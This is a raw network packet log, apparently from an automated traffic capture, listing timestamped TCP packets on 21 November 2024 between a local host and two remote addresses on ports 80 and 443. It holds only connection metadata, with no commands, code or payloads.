Nov 21, 2024 03:09:13.598917961 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.599291086 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.599353075 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.599456072 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.599509954 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.600378990 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.600434065 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.600436926 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.600481033 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.601464987 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.601524115 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.601598024 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.601648092 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.602494001 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.602547884 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.602610111 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.602893114 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.603568077 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.603627920 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.603672981 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.603724957 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.604680061 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.604798079 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.604849100 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.605695963 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.605829000 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.605882883 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.606734037 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.606785059 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.606848955 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.606967926 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.607846975 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.607950926 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.607969046 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.607995987 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.608901978 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.609021902 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.609076977 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.609981060 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.610069990 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.610109091 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.610192060 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.611015081 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.611124992 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.611187935 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.612071991 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.612127066 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.612193108 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.612242937 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.613188982 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.613243103 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.613245010 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.613286972 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.614253044 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.614305973 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.614372969 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.614423990 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.615293026 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.615377903 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.615400076 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.615626097 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.616362095 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.616411924 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.616447926 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.616492033 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.617422104 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.617486954 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.617558002 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.617746115 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.618496895 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.618611097 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.618666887 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.619568110 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.619627953 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.619684935 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.619724989 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.620650053 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.620697021 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.620762110 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.620811939 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.621696949 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.621761084 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.621773958 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.621819019 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.622776985 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.622833014 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.622920036 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.623004913 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.623810053 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.623867989 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.623934984 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.624033928 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.624910116 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.624972105 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.624986887 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.625255108 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.625952005 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.626077890 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.626122952 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.627032995 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.627087116 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.627250910 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.627301931 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.628118038 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.628184080 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.628222942 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.628269911 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.629198074 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.629249096 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.629312992 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.629359961 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.630239010 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.630382061 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.630428076 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.631273985 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.631325006 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.631409883 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.631457090 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.632353067 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.632401943 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.632467031 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.632514954 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.633423090 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.633467913 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.633533955 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.633579969 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.634505987 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.634608030 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.634660006 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.635546923 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.635601044 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.635668039 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.635716915 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.636620045 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.636672020 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.636735916 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.636784077 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.637742996 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.637792110 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.637844086 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.637919903 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.638755083 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.638823032 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.638875961 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.638923883 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.639820099 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.639869928 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.639934063 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.639986992 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.640885115 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.640938044 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.641002893 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.641083956 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.641978025 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.642029047 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.642107010 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.642154932 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.643058062 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.643110037 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.643173933 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.643223047 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.644098997 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.644150972 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.644153118 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.644201994 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.645153046 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.645204067 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.645267010 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.645315886 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.646241903 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.646353960 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.646405935 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.647341967 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.647408009 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.647445917 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.647496939 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.648385048 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.648436069 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.648492098 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.648597956 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.649435043 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.649502993 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.649555922 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.649602890 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.650512934 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.650564909 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.650631905 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.650684118 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.651555061 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.651604891 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.651716948 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.651767969 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.652643919 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.652694941 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.652760983 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.652810097 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.653701067 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.653752089 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.653918982 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.653975010 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.654722929 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.654773951 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.748473883 CET	443	49821	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:13.749080896 CET	49821	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:13.749131918 CET	443	49821	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:13.749470949 CET	49821	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:13.749486923 CET	443	49821	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:13.800024986 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.800163984 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.800278902 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.800278902 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.800533056 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.800702095 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.800712109 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.800765991 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.801615000 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.801671028 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.801743031 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.801794052 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.802658081 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.802716970 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.802783012 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.802834988 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.803723097 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.803827047 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.803829908 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.803877115 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.804801941 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.804853916 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.804922104 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.804971933 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.805867910 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.805927038 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.805982113 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.806032896 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.806931973 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.806986094 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.807045937 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.807094097 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.807982922 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.808036089 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.808104038 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.808152914 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.809079885 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.809139967 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.809166908 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.809218884 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.810123920 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.810194016 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.810214043 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.810257912 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.811203003 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.811259985 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.811336994 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.811383963 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.812254906 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.812308073 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.812376976 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.812426090 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.813333035 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.813385963 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.813448906 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.813499928 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.814378023 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.814428091 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.814507008 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.814554930 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.815476894 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.815531969 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.815536022 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.815587044 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.816518068 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.816567898 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.816633940 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.816684961 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.817605019 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.817656040 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.817708969 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.817755938 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.818664074 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.818716049 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.818783045 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.818833113 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.819757938 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.819804907 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.819871902 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.819921017 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.820811987 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.820878983 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.820930004 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.821032047 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.821850061 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.821902037 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.821969032 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.822019100 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.822969913 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.823021889 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.823071003 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.823121071 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.824023008 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.824059010 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.824076891 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.824109077 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.825094938 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.825146914 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.825212955 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.825262070 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.826118946 CET	443	49820	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:13.826137066 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.826189995 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.826240063 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.826590061 CET	49820	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:13.826637030 CET	443	49820	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:13.827035904 CET	49820	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:13.827050924 CET	443	49820	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:13.827199936 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.827254057 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.827308893 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.827370882 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.827943087 CET	443	49822	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:13.828193903 CET	49822	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:13.828210115 CET	443	49822	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:13.828265905 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.828382015 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.828432083 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.828560114 CET	49822	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:13.828571081 CET	443	49822	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:13.829353094 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.829406977 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.829457998 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.829505920 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.830410957 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.830461979 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.830528021 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.830578089 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.831475973 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.831545115 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.831583977 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.831686974 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.832539082 CET	80	49814	31.41.244.11	192.168.2.5
